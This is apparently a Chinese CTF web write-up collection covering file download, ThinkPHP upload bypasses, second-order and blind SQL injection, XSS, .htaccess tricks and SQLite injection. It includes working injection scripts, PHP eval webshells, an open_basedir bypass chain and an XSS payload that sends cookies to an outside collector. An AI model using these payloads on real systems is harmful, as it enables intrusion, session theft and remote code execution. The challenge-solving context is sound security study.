roarctf easy java

一个登录框,输入admin/admin 提示密码错误,还有一个help 感觉是任意文件下载,但是提示文件不存在,改文件名为/etc/passwd 提示不存在,这时候就需要注意了,下载文件是个大数据,一般要用post 改一下请求方法 然后就能下载啦

了解一下tomcat

tomcat的启动过程

第一阶段 JVM相关资源

1
2
(1)$JAVA_HOME/jre/lib/ext/*.jar
(2)系统classpath环境变量中的*.jar和*.class

第二阶段 Tomcat自身相关资源

1
2
3
4
5
6
7
8
(1)$CATALINA_HOME/common/classes/*.class  
(2)$CATALINA_HOME/commons/endorsed/*.jar
(3)$CATALINA_HOME/commons/i18n/*.jar
(4)$CATALINA_HOME/common/lib/*.jar
(5)$CATALINA_HOME/server/classes/*.class
(6)$CATALINA_HOME/server/lib/*.jar
(7)$CATALINA_BASE/shared/classes/*.class
(8)$CATALINA_BASE/shared/lib/*.jar

第三阶段 WEB应用相关资源

1
2
(1)具体应用的webapp目录: /WEB-INF/classes/*.class   
(2)具体应用的webapp: /WEB-INF/lib/*.jar

这里就是说 web应用的存放路径还有文件名应该就是 classes/xx.class

tomcat的配置文件

1
2
3
4
WEB-INF/web.xml   Web应用程序描述文件,都是些关于web应用程序的配置
WEB-INF/server.xml 对tomcat的设置,可以设置端口号,添加虚拟机这些的,是对服务器的设置。
WEB-INF/context.xml Tomcat 公用的环境配置,一旦被修改,tomcat会自动重新加载,感觉类似热部署
WEB-INF/tomcat-users.xml 关于用户角色、管理员的信息都在这个配置文件中

目录结构

1
2
3
4
5
6
7
bin:Tomcat服务器启动和关闭Tomcat脚本等文件,有Windows和Linux脚本
conf:Tomcat服务器的各种配置文件
lib:Tomcat服务器所有可以访问的jar包
logs:Tomcat服务器的日志文件
temp:Tomcat服务器运行时的临时文件
webapps:Tomcat服务器自带的两个web应用,admin和manager,用来管理Tomcat的web服务。
work:Tomcat服务器中jsp经过编译后生成的servlet

http://blog.chopmoon.com/favorites/222.html

https://zhuanlan.zhihu.com/p/45066075

https://segmentfault.com/a/1190000011404088

过程

回到题中,

下载一下WEB-INF/web.xml

image

看到配置文件

<servlet-class>com.wm.ctf.FlagController</servlet-class>

猜测这个应该就是要放在url里面的路径,不过把点改成/,再根据上面的web目录文件格式猜测文件名应该是

WEB-INF/classes/com/wm/ctf/FlagController.class

试一下

在返回的内容里面,有一段base64解码一下就好了

Roarctf Simple_upload

tp框架

tp的一个框架,学习一下tp,以前没碰过

url访问格式

1
http://domainName/index.php/模块/控制器/操作

模块就是文件名

控制器就是类名

操作就是方法名

index.php称为入口文件

并且控制器和操作是不区分大小写的,

$FILES

php文件上传

1
2
<input type="file" name="file" />
$_FILES['file'] 这里的file对应input标签的name

tp的文件上传,upload方法,不传参是多文件上传 整个$FILES数组内的文件都会被保存

看题

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

这里对文件的后缀名进行了检测(不允许php后缀) 但是只检查了file这一个文件,所以上传多文件就可以绕过php后缀的限制,

tp源码里,upload参数是这么写的,exts而不是上面写的allowExts,所以附件上传类型 不起作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);

看save这里写了 上传后文件名的生成规则 uniqid 貌似是根据时间戳来生成的,

两种爆破思路:

no.1

上传三个文件 第一个正常文件 第二个shell文件 第三个正常文件 第一个和第二个同时上传,第三个单独上传,因为文件名根据时间戳生成,所以,第二个文件的文件名,应该在第一个和第三个文件名之间,爆破就好了

选择sniper模式,在1 3 文件名之间爆破 只需要打一个标记

image

no.2

不上传第三个文件,直接爆破后几位,要是爆破不到 加大爆破范围

选择cluster bomb 逐位爆破

过程

先传第一个和第二个文件

image

爆破文件名,改后三位,如果不行在加大爆破范围

image

补充一个trick

文件表单的属性设置为enctype=”multipart/form-data”,当使用get 或 post方式获取form表单的内容时,是获取不到的,必须使用$FILES

反思

对php的这几个超全局变量还是不够熟悉,GET POST FILES GLOBALS

tp框架不了解 通过这题 了解到了tp框架的url,还有文件上传后的命名规则

这道题的漏洞点 应该是配置不当

no.1 多文件上但是只检测了一个文件

no.2 代码编写错误,错误的把ext写成了 allowext

https://www.kancloud.cn/manual/thinkphp/1876

ciscn华北web5

文件包含,伪协议读源码

二次注入, 在confirm.php insert操作进行了预处理,很安全,但是在change.php 进行updata更改收货地址时,对从数据库中拿出的address,没有处理,直接带入到了updata操作,很典型的二次注入

confirm.php

1
2
3
4
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();

updata.php

1
2
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);

注入过程

随便试了一下,发现显示报错信息 二次注入+报错注入

1
2
3
1' and (updatexml(0x3a,concat(1,(select user())),1)); #

errorXPATH syntax error: '[email protected]'

数据库名

1
2
3
1' and (updatexml(0x3a,concat(1,(select database())),1)); #

errorXPATH syntax error: 'ctfusers'

表名

1
2
3
1' and (updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfusers')),1));#

errorXPATH syntax error: 'user'

列名

1
2
3
1' and (updatexml(0x3a,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='user')),1));#

errorXPATH syntax error: 'Host,User,Password,Select_priv,I'

在这里搞了很长时间,一直报没有列名,最后发现 上面的列名长度正好是32位,想到了可能限制了长度

改一下长度试试

1
2


看到这里想起来 这不就是在源码里,看到的列名嘛,看了一下 没拿到flag,

又想到有没有可能有其他的数据库,去看看

1
2
3
1' and (updatexml(0x3a,concat(1,(select substr(group_concat(schema_name),32) from information_schema.schemata)),1));#

information_schema,test,mysql,ctftraining,performance_schema,ctfusers'

到最后也没找到flag,真是服了

新思路

去看了一下 config.php 发现可以导入文件

1
1' and (updatexml(0x3a,concat(1,(select load_file('/etc/passwd'))),1));#

flag难道是放在文件里面???,没找到位置,

然后想用into file导入一句话shell,然后通过文件包含调用,发现不能写入

然后默默的去看了wp,发现flag在flag.txt,

1
2


反思

注入不再是之前的注入,需要和文件相配合,对常见的flag的存放位置和文件名还是要知道的

flag flag.txt 这题我就试了flag,差一点点

load_file

限制条件:

1
2
3
4
5
6
7
文件的完整路径
文件权限:chmod a+x pathtofile
文件大小: 必须小于max_allowed_packet

绕过
select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)

into outfile

限制条件

1
2
3
4
5
6
文件的完整路径
要有file权限
目录要有写权限 一般images等目录可能有

绕过
select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b27736b79275d293f3e into outfile ‘H:/wamp64/www/233.php’

https://skysec.top/2017/08/28/sql%E6%B3%A8%E5%85%A5%E2%80%94into-outfile%E3%80%81load-file/

de1ta ctf giftbox

打开一看是一个网页版的shell

在登陆处有sql盲注

1
2
3
4
[[email protected] /sandbox]% login admin'/**/and/**/'1'='1 admin
login fail, password incorrect.
[[email protected] /sandbox]% login admin'/**/and/**/'1'='2 admin
login fail, user not found.

盲注竟然都不会了,得回头看看啦 这里貌似空格和注释符被过滤了

写脚本跑一下,这时候卡住了,客户端和服务端之间是怎么通信的??

f12看一下数据包 有个totp参数,搜一下 基于时间的一次性密码算法

在源码里找到totp的生成规则 js/mian.js

1
2
3
4
5
6
7
8
9
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP()

注入过程

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time

import requests

import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

def main():
get_all_databases()


def http_get(payload):

time.sleep(0.5)

r = requests.post('http://44eb0ec1-1db5-41b1-a66b-3fee4b6f6195.node3.buuoj.cn/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})

print('login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin')
print(r.text)
if 'password' in r.text:
return True
else:
return False


# 获取数据库
def get_all_databases():
# db_nums_payload = "select/**/count(*)/**/from/**/users"
# db_numbers = half(db_nums_payload)
# print("长度为:%d" % db_numbers)

db_payload = "select/**/concat(password)/**/from/**/users"
db_name = ""
for y in range(1, 64):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
y)
db_name += chr(half(db_name_payload))

print("值:" + db_name)


# 二分法函数
def half(payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s/**/>/**/%d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num


if __name__ == '__main__':
main()

跑出密码

1
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

登陆

看见多了几个操作

1
2
3
4
5
6
7
8
[[email protected] /sandbox]% cat usage.md
[De1ta Nuclear Missile Controlling System]

login [username] [password]
logout
launch
targeting [code] [position]
destruct

试试这几个命令

1
2
3
4
5
6
7
8
9
usage: targeting [code] [position]  一个代码 位置 

[[email protected] /sandbox]% launch
Initializing launching system...
Setting target: $a = "1";
Reading target: $a = "1"; 貌似是执行targeting命令的

[[email protected] /sandbox]% destruct
missiles destructed 清除命令的

launch是按照我们输入的顺序,执行targeting的,

这时候想到了命令续行符\

利用php

看着glzjin师傅做的,用php的可变变量

1
2
3
4
5
6
[[email protected] /sandbox]% targeting a phpinfo
target marked.
[[email protected] /sandbox]% targeting b {$a()}
target marked.
[[email protected] /sandbox]% launch
System Fatal Error!

拿到phpinfo 是在数据包的响应头里拿的 保存成html格式,

open_basedir有限制

image

绕过open_basedir

1
2


脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time

import requests

import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

session = requests.session()


def login():
time.sleep(0.5)

r = session.get('http://ebbbac67-4c20-4c6a-ab0c-21ad81ee899f.node3.buuoj.cn/shell.php',
params={'a': 'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}', 'totp': totp.now()})

return r.json()


def targeting(code, position):
time.sleep(0.5)

r = session.get('http://ebbbac67-4c20-4c6a-ab0c-21ad81ee899f.node3.buuoj.cn/shell.php', params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})

return r.json()


def launch():
time.sleep(0.5)

r = session.get('http://ebbbac67-4c20-4c6a-ab0c-21ad81ee899f.node3.buuoj.cn/shell.php', params={'a': 'launch', 'totp': totp.now()})

return r.text


def destuct():
time.sleep(0.5)

r = session.get('http://ebbbac67-4c20-4c6a-ab0c-21ad81ee899f.node3.buuoj.cn/shell.php', params={'a': 'destruct', 'totp': totp.now()})

return r.json()


def main():
login()
destuct()
targeting("a", "chdir")
targeting("b", "img")
targeting("c", "{$a($b)}")

targeting("d", "ini_set")
targeting("e", "open_basedir")
targeting("f", "..")
targeting("g", "{$d($e,$f)}")

targeting("h", "{$a($f)}")
targeting("i", "{$a($f)}")

targeting("j", "Ly8v")
targeting("k", "base64_")
targeting("l", "decode")
targeting("m", "$k$l")
targeting("n", "{$m($j)}")
targeting("o", "{$d($e,$n)}")

targeting("p", "flag")
targeting("q", "file_get")
targeting("r", "_contents")
targeting("s", "$q$r")

targeting("t", "{$s($p)}")

print(launch())


if __name__ == '__main__':
main()

反思

sql注入 都忘了,得拿出来看看了

登陆后 完全没了思路,看了wp之后,思路真骚,这里间接的使用了php的可变变量还有命令分割来达到RCE

ciscn 2019 华东北web2

一道xss+sql题,完全跟着赵总复现的

先发一篇文章,然后反馈给管理员,很典型的盲打xss,以后要自己打一个xss平台,练习xss盲打用

这题有csp防护,不是很清楚怎样利用跳转绕过,

1
location.href = "vps_ip:xxxx?"+document.cookie

xss

这里貌似对字符也进行了过滤,采用编码的方式绕过

1
2
3
4
5
6
7
8
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=S7f5cH&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

一开始验证码怎么验证码怎么都跑不出来,后来换成py2 才跑出来 url总是不对,明明是把链接直接复制过来的

后来改了一下 坑

1
http://web59.buuoj.cn/post/3091a4b0eebb13967630fc6b18eca0c7.html

找到admin的phpsessid 访问一下admin.php

注入

看到一个查询id的页面,很明显的注入

经过测试还是数字型的注入

1
?id=-1 union select 1,2,3%23

回显列是2 3

库名 ciscn

1
?id=-1 union select 1,database(),3%23

表名 flag user

1
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

flag

1
?id=-1 union select 1,group_concat(flagg),3 from flag%23

完事以后 又去试了一下xss的 探测过程

直接使用<script>alert(1)</script> 不弹窗 应该是把alert(1)过滤了 编码一下绕过

1
2
3
4
5
6
7
in_str="alert(1)"
output = ""

for c in in_str:
output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

把eval去掉也是可以的

1
<svg><script>&#97&#108&#101&#114&#116&#40&#49&#41</script>

反思

xss的fuzz得学会 这题貌似忘了扫目录

[ZJCTF 2019]NiZhuanSiWei

看源码做的

1
2
3
4
5
6
7
8
9
10
11
12
class Flag{  //flag.php  
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);

payload

1
2
3
POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1

post welcome to the zjctf

[XNUCA2019Qualifier]EasyPHP

没有想到.htaccess 这里限制了filename只能是字母还有点

1
2
3
4
5
$filename = $_GET['filename'];
if (preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}

对content的内容也进行了过滤

1
2
3
4
5
$content = $_GET['content'];
if (stristr($content, 'on') || stristr($content, 'html') || stristr($content, 'type') || stristr($content, 'flag') || stristr($content, 'upload') || stristr($content, 'file')) {
echo "Hacker";
die();
}

并且会删除当前目录下,非index.php的文件

1
2
3
4
5
6
7
8
$files = scandir('./');
foreach ($files as $file) {
if (is_file($file)) {
if ($file !== "index.php") {
unlink($file);
}
}
}

然后我就想 那么直接把shell写在index.php里面不就完了吗

试了一下,发现不能写入 应该是没有权限,或者对解析进行了限制

后来想到利用../ 跳转到上层目录,但是对文件名进行了限制,无法跳转

看wp吧

wp里面写着 主要是对.htaccess 在写文件方面的利用 还有php配置选项的利用 思路真骚

预期解

1
2
3
4
5
6
7
8
9
10
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \


php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

转成url编码的形式

1
2
3
4
5
6
s="""php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\"""
import urllib.parse
print(urllib.parse.quote(s))

php的配置选项 参考

https://www.php.net/manual/zh/ini.core.php#ini.include-path

include_path 配置文件包含的根目录 也就是说 使用了include去包含文件,php会去include_path规定的目录下,寻找文件

error_log 配置错误日志的路径

error_reporting用来指定报错级别,32767意味着记录全部报错信息。

这里还需要注意.htaccess 没用.user.ini那么强的容错特性,一旦格式错误,就会返回500,所有对于后面的

\nJust one chance 可以先用\转义掉\n 在加上# 注释掉 就完事了

# \\nJust one chance 注释和\ 之间貌似还有个空格

第一步

先是利用error_log + include_path 还有源码里的Include(‘fl3g.php’) 把include_path写到/tmp/fl3g.php

1
?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0Aphp_value%20error_reporting%2032767%0Aphp_value%20include_path%20%22%2BADw%3Fphp%20eval%28%24_GET%5B1%5D%29%2BADs%20%2BAF8AXw-halt%2BAF8-compiler%28%29%2BADs%22%0A%23%20%5C

第二步

在访问一下index.php 触发include(‘fl3g.php’) 因为.htaccess中设置了 include_path “+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs” 这是一个shell, 并没有这个路径,所有会报错,这样就把shell写到了/tmp/fl3g.php里

第三步

在重新设置一下 error_log为/tmp 利用源码自带的include(‘fl3g.php’) 就可以包含shell

1
?filename=.htaccess&content=php_value%20include_path%20%22/tmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

非预期

no.1

正则回溯+php://filter

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

ini_set(‘pcre.backtrack_limit’, 0);

pcre.backtrack_limit 配置正则回溯次数 这里设置为0,

pcre.jit 是php7新增的一个配置项,5的版本不用配置就可以直接实现,绕过正则回溯次数

1
2
3
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \
第一步

同样编码一下,设置回溯次数,绕过preg_match对filename的限制

1
php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C

再利用php://filter/write=convert.base64-decode/resource=.htaccess 写入 绕过filename对文件名字的限制

1
2

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSMgYWE8P3BocCBldmFsKCRfR0VUW3NoZWxsXSk7Pz5c

no.2

另一种非预期解 利用\ 直接绕过对content的检测

1
2
3
php_value auto_append_fi\
le .htaccess
#<?php eval($_POST["south"]); ?>\

payload

1
/?filename=.htaccess&content=php_value%20auto_append_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20eval(%24_POST%5B%22south%22%5D)%3B%20%3F%3E%5C

[HarekazeCTF2019]encode_and_encode

通过编码的方式把flag读出来,主要考察的是Json使用unicode方式传输数据

本来想着把flag编码一下,然后post base64_decode(xxx),但是在最后flag也被替换了,想到伪协议编码输出,但是php又被过滤了,并且伪协议里面flag 也没有办法用base64_decode这种形式,

看wp吧

原来json是通过unicode的方式传输数据。并且Unicode编码绕过,这种非常常见的编码绕过方式,怎么就没想到呢 而且编码绕过大都是很通用的,

ASCII的Unicode 直接转为16进制 然后加上\u00 就好了

payload

1
{"page":"\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

反思

这题当时看到了file_get_content还想到了 SSRF file被过滤了,并且就算用Unicode编码file但是 读出来的数据 同样会被替换,

[HarekazeCTF2019]Easy Notes

获取flag的条件 是成为admin,先登录一下 对用户名没有检测,那么直接以admin来登录行不行,发现不行 应该在session里面有记录

看源码吧

对用户名做了检查 而且是后端的,不能抓包绕过,这里有个导出的功能,主要代码

1
2
3
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

导出的文件 和 session放在一个目录下,这很明显要伪造session了, 但是session文件是没有后缀的,这里加了一个.type

伪造文件名

可以利用str_replace 把..替换为空,type=. 再加上前面的. 就变成了.. 文件名伪造好了

伪造内容

还有文件的内容该怎么伪造成admin, 利用php session的序列化机制,键名 + | + 键值

传入一个|N;admin|b:1;

定义前面的键值为空,admin为bool的true

测试

登陆 user sess_

add_note N|;admin|b:1;

抓包改一下后缀

通过导出压缩包, 把session中的内容,加载到伪造的文件内,

1
Content-Disposition: attachment; filename="sess_-d1542d1e434f9272";

image

虽然session文件的格式 是zip的格式,但是一样可以被反序列化,

归纳

整体的利用过程,

利用导出压缩包 可以新创建一个文件并且和session放在同一个目录的缺陷,把压缩包的名字改成session文件的名字,然后伪造一下PHPSESSID 就可以变成admin,拿到flag

主要在于如何控制新文件的名字,恰好filename 是可控的, user + rand + 后缀 ,后缀又可以通过str_replace 替换为空,

一开始我以为 str_replace 这里可以利用双写绕过,直接把/flag 加到压缩包里面 然后下载 但是仔细看了一下代码这里过滤的是..不是../ 没法用…./这种方式绕过, 并且这里也只是创建一个新的文件名,文件的内容是通过session导入的,并不能把flag导入进去

[HarekazeCTF2019]Avatar Uploader 1

先找到获取flag的条件 上传的图片不是图片文件 就可以拿到flag

1
2
3
4
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

看看上面是怎样检查文件类型的

1
2
3
4
5
6
7
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

finfo_file函数 用来获取文件信息,判断文件的类型 in_array函数 有一个弱类型的问题 不过这里不像

后面用了另一个方法来判断文件类型 这两个判断方法直接肯定有问题

1
2
3
4
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}

这两次检测 用了两个不同的函数,finfo_info判断是png图片,getimagesize判断不是png图片

看看有没有绕过的方法

finfo_info可以识别 16进制的第一行 而getimagesize 不行

winhex写一个文件 第一行 用png图片的16进制,然后传上去

反思

主要卡在代码上了,这题的代码,自己看的时候完全看不懂,找不到着重点,看了wp才知道

这题的着重点应该在waf绕过上, 看代码先找到获取flag的条件,后面就顺水推舟啦

Sqlite Voting

题目直接给了源码 过滤了大部分sql注入使用的字符

1
2
3
4
5
6
7
8
9
10
11
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];

substr regexp like 等都得过滤了 char被过滤不能使用ascii 但是hex没被过滤 可以使用16进制

https://xz.aliyun.com/t/6628#toc-4

构造16进制

16进制只包含16个字符 其他的字符不再16进制内 怎么办呢

trim 去除无关字符 trim(0,0)返回空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

C = 'trim(hex(typeof(.1)),12567)'

D = 'trim(hex(0xffffffffffffffff),123)'

E = 'trim(hex(0.1),1230)'

F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'

因为substr等被过滤 不能逐位来判断 这里用一种新的方式 替换 replace

replace(length(replace(hex(select(flag)from(flag)),payload,'')),84,'')

replace(select(flag)from(flag),payload,'') 如果查询结果里面包含payload 那么包含payload这一部分会被替换为空,他的长度就不是84 经过第二次replace后,返回的就不是空

相反如果查询结果里面不包含payload,那么length() 返回flag的长度,也就是84 在经过第二次replace 返回空

构造判断语句

逗号 join都被过滤 if不能使用 还缺少一个判断语句

case when then end

case replace(length(replace(hex(select(flag)from(flag)),payload,'')),84,'') when 返回为空时的返回值 then 返回不为空的返回值 end

现在还缺少一个条件 因为是盲注 需要有两种返回状态 源码里给了一种返回状态

1
2
3
4
5
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}

报错

现在还缺少一种 返回状态 源码里又没有 别忘了系统自带的一种返回状态 报错

abs() 存在整数溢出的问题

1
2
3
4
5
sqlite> select abs(-9223372036854775808);
Error: integer overflow

sqlite> select abs(0x8000000000000000);
Error: integer overflow

进一步构造

1
abs(case replace(length(replace(hex(select(flag)from(flag)),payload,'')),84,'') when '' then 0x8000000000000000)

这里已经知道了flag的格式 flag{

hex(flag{) ==> 666C61677B 直接在这后边添加字符构造payload

到了这里忘了 最开始的一步 flag的长度怎么获取

获取flag的长度

位运算

假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

1
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://c9be7dda-5d58-4474-b3e0-ae617f9caf81.node3.buuoj.cn//vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}

r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n

print(l)

附上大师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
import binascii
import requests
URL = 'http://c9be7dda-5d58-4474-b3e0-ae617f9caf81.node3.buuoj.cn//vote.php'


l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

[极客大挑战 2019]Upload

复现的时候 没有那么多的提示 只有一个Not Image

1
2
3
4
5
6
7
Content-Disposition: form-data; name="file"; filename="eval.phtml"
Content-Type: image/jpeg

GIF89a
<script language='php'>
eval($_POST['shell']);
</script>